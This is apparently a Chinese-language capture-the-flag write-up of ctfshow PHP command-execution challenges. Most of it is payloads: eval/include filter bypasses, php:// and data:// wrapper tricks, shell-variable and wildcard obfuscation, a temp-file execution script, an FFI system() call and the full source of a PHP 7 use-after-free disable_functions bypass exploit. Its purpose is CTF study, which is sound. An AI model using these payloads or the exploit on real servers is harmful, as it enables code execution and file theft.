命令执行
由于过滤了flag,可以使用通配符进行绕过在linux系统中 有一些通配符,匹配任何字符串/文本,包括空字符串;代表任意字符(0个或多个) ls file ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何一个字符 [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
PAYLOAD:c=system('cat f*');
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
了解 eval函数之后
传入
c=echo "npfs";?>ctf <?php system('ls');
可以看到有 flag.php文件,之后采用include进行包含读取
payload:?c=echo "npfs"; ?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php
这个题目的flag藏在注释里面命令执行的函数有很多,但是引号要使用%60 ` 去连接
[hi]payload:c=echocat f*
;[hi] 去输出连接的这个文件system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec() # 这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示
一定要使用漂号
空格绕过
\> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09
cat被过滤
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行 nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
- 过滤了括号分号等,[hi]"/flag|system|php|cat|sort|shell|.| |\'|\`|echo|\;|(/i"[/hi],需要无括号的函数
?c=include$_GET[0]?>&0=data://text/plain,<?php%20phpinfo();?> #可以通过<?php连接 获取phpinfo
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php #以base64读取flag
payload:?c=include $_GET["npfs"] ?>&npfs=php://filter/read=convert.base64-encode/resource=flag.php #有巨佬的flag是这样写的,无法获得,后来发现是多了双引号和空格。感觉不像是过滤,是查询到后直接拒绝了这条命令
又过滤了单双引号[hi]"/flag|system|php|cat|sort|shell|.| |\'|\`|echo|\;|(|\"/i"[/hi] 这个题出现了和上题一样的结果,如果加了空格就没有任何返回,所以一定要去掉空格
/?c=include%09$_GET[1]?%3E&1=/var/log/nginx/access.log获得服务器的log?c=include $_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php #错误 ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php #正确 ?c=include $_POST[1]?>1=php://filter/read=convert.base64-encode/resource=flag.php #这种使用post的办法我没有成功过
- 同上
- 同上
- ?c=data://text/plain,<?=%20system("cat%20fla*");?>分析发现过滤了数字,将数字0改成a就行
过滤了flag ,又是 include 文件包含,利用伪协议读flag
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
?c=data://text/plain,<?php system("cat fla*")?> 直接使用 ?c=data://text/plain,
同上题,了个php过滤,base64编码绕过即可
?c=data://text/plain,<?= system("cat fla*");?>#或者跳过过滤php ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs=
- 仅仅是过滤了flag,同37
无参数文件读取
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。
- current() 函数返回数组中的当前元素(单元),默认取第一个值,
- pos() 同 current() ,是current()的别名
- reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
构造payload/?c=print_r(scandir(current(localeconv())));获得当前的目录,我们可以发现flag.php在数组的倒数第二个值里
,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取,然后就报错了,4中payload
?c=highlight_flie(next(array_reverse(scandir(current(localeconv()))))); readfile(array_rand(array_flip(scandir(current(localeconv()))))); readfile(next(array_reverse(scandir(current(localeconv()))))); ?c=eval(array_rand(array_flip(getallheaders()))); ?c=eval(end(current(get_defined_vars())));&a=system("ls");
- 不会,看不懂WP,附上网站
>/dev/null 2>&1主要意思是不进行回显的意思,可参考https://www.cnblogs.com/tinywan/p/6025468.html
我们要让命令回显,那么进行命令分隔即可; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行 cat flag.php; cat flag.php||
过滤了空格和分号,直接使用其他的文件读取
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 grep strings
过滤了cat,且输出无效,只要只执行前面的命令,
?c=sort%20fl*||
空格绕过,输出无效
?c=tac%09fla*%0a
多过滤了通配符
通配符可以使用?问号,空格可用%09
?c=sort%09fl?g.php|| ?c=tac%09fla?????%0a
多过滤了一些东西,万能解
?c=tac%09fla?????%0a
- 同上,多过滤了一点
- 同上,还是没有过滤tac和? payload:
?c=tac%09fla''g.php%
- 过滤了很多,直接替换
tac<fla''g.php%0a
%0a是换行,同样可以进行命令分隔;tac被过滤,换nl
payload: ?c=nl<>fla\g.php%0a
这次直接输出flag没有,查找根目录,发现了flag,读取即可
- 直接输出flag
?c=nl${IFS}fla\g.php
使用bin目录下面的ca命令输出?c=/bin/ca?${IFS}f???????
- 直接读取
?c=uniq${IFS}f???????
或者进行查找读取?c=grep${IFS}%27{%27${IFS}fl???php
意思就是在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行 两种办法
对flag进行加密然后输出
/???/????64 ???????? #bin目录下放着系统必备的执行档,比如cat,chmod。。。base64这个命令就是将指定的文件的内容以base64加密的形式输出。因为过滤了字母,正好可以用64来匹配这个命令/bin/base64 flag.php
对flag文件进行压缩然后下载
payload:?c=/???/???/????2 ????.??? ---》 然后在url + /flag.php.bz2 #我们可以利用/usr/bin下的bzip2,意思就是说我们先将flag.php文件进行压缩,然后再将其下载
解题前先吹一下P神,挂一下博客,本题过滤了字母、数字。。这样的话只能去使用通配符去匹配。先来上传一个post文件,这样的话文件会被存放在临时文件夹/tmp,并且默认的文件名为/tmp/phpXXXXXX。这样的话就可以去执行这个命令
. file
也可以source file
,但是这题过滤了字母,只能使用. file
,具体方法见本题开始P神博客,最后使用/???/????????[@-[]
,成功匹配。
有大佬写了个py脚本,奉上import requests while True: url = "http://80f8239f-d1d3-4365-8b48-12adf22459fe.chall.ctf.show/?c=.+/???/????????[@-[]" r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')}) if r.text.find("flag") >0: print(r.text) break
具体操作,先构造一个上传文件的HTML
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST文件上传</title> </head> <body> <form action="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
上传一个.php文件,文件内容
#!/bin/sh ls
上传抓包,抓包之后添加参数
c=.%20/???/????????[@-[]
如下,多发包几次(因为并不一定生成的临时文件的最后一个字母就是大写字母),可以看到执行了ls命令,能够回显信息,但是我的失败了,所有借用其他大佬的图,至于参数还是去见P神的博客然后用cat来读取这个flag就可以
题目说了flag在36.php下面,只要构造出36就可以自动读出flag,知识点是$(( ))与整数运算
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
$(())
的值是0,关于取反,如果b=~a,那么a+b=-1首先知道,而且在$(())里是可以想加的
$(( $((~$(()))) $((~$(()))) )) 是-2 $((~$(()))) 是-1,因为对上面对-2进行取反
在
$(())
放入37个$((~$(())))
就可以变成-37,然后对其取反得到36$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
几张关于取反的图
注意本题是POST类型,接下来绕过
disable_functions
,即被禁止的函数file_get_contents() highlight_file() show_source() fgets() file() readfile()
paylaod有很多
c=echo highlight_file('flag.php'); c=show_source("flag.php"); c=highlight_file("flag.php");
使用58中的payload也可以来获得,但是也可以使用fopen
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);} c=$a=fopen("flag.php","r");echo fread($a,"1000"); c=$a=fopen("flag.php","r");echo fpassthru($a);
58中的函数,或者复制重命名读取
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt) copy() rename() //用法: copy("flag.php","flag.txt"); rename("flag.php","flag.txt");
- 同58
- 同58
- 同58
- 同58
- 同58
代码无变化,但是上面的payload都无法使用
c=print_r(scandir("/"));
- 先看看目录,使用
c=print_r(scandir("/"));
失败,使用c=var_dump(scandir("/"));
成功
然后直接highlight_file
读取 payload:c=var_dump(scandir("/"));highlight_file("/flag.txt"); 各种都文件的都被禁用了,但是可以使用文件包含
- 先看一下文件目录
c=var_dump(scandir("/"));
,发现有flag.txt - 直接使用文件包含
c=include("/flag.txt");
是txt就直接包含,是php就base64包含
- 先看一下文件目录
这个地方无法查看目录了,但是可以遍历查看,直接使用文件包含
c= $a=scandir("/"); foreach($a as $value){ echo $value." "; } #scandir c= $a=glob("/*"); foreach($a as $value){ echo $value." "; } #glob c= $a=new DirectoryIterator('glob:///*'); foreach($a as $f){ echo($f->__toString()." "); } #一种骚操作
- 直接文件包含
贴一下代码
<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
如果继续执行,flag就会被替换。获得flag后直接退出程序
用exit或者die提前结束进程,使得后面的代码不会被执行 c=include("/flag.txt");exit(); c=include("/flag.txt");die();
看起来代码没有改变,其实有变化。文件存在open_basedir:
open_basedir将PHP所能打开的文件限制在指定的目录树中,包括文件本身。
利用glob伪协议在筛选目录时不受open_basedir制约,获得所有的目录c= $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; } exit();
知道了文件是flag0.txt后绕过open_basedir和disable_functions。利用的是php7-backtrace-bypass,原始脚本如下
php7-backtrace-bypass
不过其中的一些函数也被ban了,出题人魔改了:<?php # PHP 7.0-7.4 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=76047 # debug_backtrace() returns a reference to a variable # that has been destroyed, causing a UAF vulnerability. # # This exploit should work on all PHP 7.0-7.4 versions # released as of 30/01/2020. # # Author: https://github.com/mm0r1 pwn("uname -a"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg =str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) ; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); }
讲这个函数进行url编码进行传输就可解得
payload:c=urlencode(php7-backtrace-bypass)直接查看目录和cat flag.txt文件,不能直接print出来,只能去遍历
c= $a=glob("/*"); foreach($a as $value){ echo $value." "; };die(); #遍历得到flag c=include("/flagc.txt");exit(); #包含获得
- 方法同上,但是文件变成了flagx.txt
查看文件在
flag36.txt
,有的师傅使用前面的姿势是可以拿到的。但是我这个菜鸡拿不到只能解锁新姿势
大师傅们说数据库的连接是读配置文件得到的,我觉得也是读鬼的配置文件才能拿到,反正我是第一次见使用数据库的账号密码读flagc= try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag36.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null; } catch (PDOException $e) { echo $e->getMessage(); exit(0); } exit(0);
- 同75,但是flag文件变成了flag36d.txt
有师傅直接看成是php7.4,本菜鸡用的一个插件发现的。很容易想到利用FFI来绕过disable_functions。
然后奉上脚本,这个题目是没有回显的,但是有写的权限,可以直接访问1.txtc= $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; } $ffi = FFI::cdef( "int system(const char *command);"); $ffi->system("/readflag > 1.txt"); exit();
web 入门118. 知识盲区:
经过一系列的fuzz,可以发现过滤了小写字母,数字还有一些字符。因为windows不区分大小写,但是linux是区分大小写的,所以大小写不能绕过,/也被过滤了,我就不会了。。看了一下WP,利用的是linux的bash内置变量还有关于它的一些知识点。
具体的内置变量可以输入env查看,不过env是所有的环境变量,而内置变量知识环境变量的一部分。常见 Bash 内置变量介绍
Linux 基础知识:Bash的内置变量正常可以利用切片来获得所需要的字母,但是过滤了数字。可以利用字母,在这里用字母就等同于数字0。然后使用取反号获得。${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,结尾,因此就可以构造命令nl:
code=${PATH:~A}${PWD:~A} ????.??? #就是${PATH:~A} 即构造了n ${PWD:~A}构造了l,然后使用通配符匹配flag.php,或者flag.txt
但是我使用本机kali创建的是sl
web119. 在上一题的基础上过滤了PATH还有BASH
构造数字方面${#变量} #首先大写字母等同于0,所以0是有的。
不加#是变量的值,加了#是变量的值的长度。既然linux存在那么多的bash内置变量,那么长度肯定也是很多的,再加上各种变形和套娃,我觉得甚至0-9都取到也不是很难。--据某大佬说
这里大师傅们用了这两个内置变量:RANDOM
和SHLVL
。RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器 默认值是1
yu师傅使用的是/bin/base64 flag.php,因此考虑构造出/和数字4就可以了,当然数字6也不是不能构造。最终payload如下:
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
ctfshow菜鸡给出的如下,构造/bin/cat flag.php
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t ${PWD:${Z}:${#SHLVL}} ====> / /bin/cat flag.php ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
web 120.之前的题目和这题的hint中因为都用到了一些不可预测的变量,比如HOME,HOSTNAME,还有这题的USER。不同环境肯定不同,而且因为这题没法输出,你很难得到这些的值,只能靠猜,所以就没有去深究hint。 --据某大佬
没研究,直接上payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web 121. SHLVL被ban了,想办法去构造
1
。测试${##}
可以得到1
yu师傅的姿势,用的是${#?}
$? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。
IFS作用
用途:定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline)。
长度为3,而PWD是/var/www/html,正好可以取到r,用/bin/rev这个命令来读flag.php。rev这个命令又是姿势盲区了,查了一下,是把文件中每行逆序输出读取,又学到一种文件读取的姿势了。
这个时候输出的为逆序a='}b01635aa4c73-faf9-2da4-ee97-ea1af297{wohsftc' a[::-1] #Python进行逆转
web 122. 被过滤的东西吓到了,这么多
$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。而且这个返回值原来是可控的yu师傅说${}的报错在本地返回时1,但是题目环境是2,所以放开了<
<A的报错返回也是1,所以就成功得到了数字1,至于数字4拿RANDOM随机就可以了。
看一下本地的返回值
构建的payload如下,获得flag的时候快破防了,post很多次才获得flag的base64加密密文<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
进入进行代码审计
- 发现长度不能超过80
- 不能有奇奇怪怪的字符
- 给了数学公式,利用数学公式进行RCR
- 进制转换
base_convert
构造
system
<?php echo base_convert("system",36,10); #结果:1751504350
- 这样的话就得到
system
了,执行ls
就?c=base_convert(1751504350,10,36)(base_convert(784,10,36))
空格和/利用异或来构造
<?php $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; $whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs']; foreach ($whitelist as $i): foreach ($whitelist2 as $k): echo $k^$i^" /flag"; echo " " . $i . " " . $k; echo "<br/>"; endforeach; endforeach;
- 获取当前请求头的全部HTTP请求头信息
getallheaders - 得到payload:
?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
首先是利用
$pi
这个变量来缩短长度,然后是base_convert(1751504350,10,36)
,得到的是system
,base_convert(8768397090111664438,10,30)
得到的是getallheaders
,至于为什么是30进制,因为这个:Warning
由于使用内部的 “double” 或 “float” 类型,base_convert() 的操作可能会导致大数值中的精度丢失。请参见本手册的 浮点数 章节以便获得更多详细信息。- 经过大师父们的测试,31-36进制的getallheaders都会出现精度丢失导致不能成功得到getallheaders,30进制的时候就可以了。然后就是http头里面加一个:
1:cat /flag
。复现失败了,不知道哪里有问题 也可以使用GET方法获得flag ,payload如下
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag // base_convert(37907361743,10,36) -> hex2bin // dechex(1598506324) -> 5f474554 // hex2bin("5f474554") -> _GET #$pi 的值为 hex2bin("5f474554") ,$$pi 也就是 $hex2bin("5f474554") -> $_GET ,变成了预定义变量。
也失败了hhh。两种办法都不返回flag
- 发现长度不能超过80
评论 (1)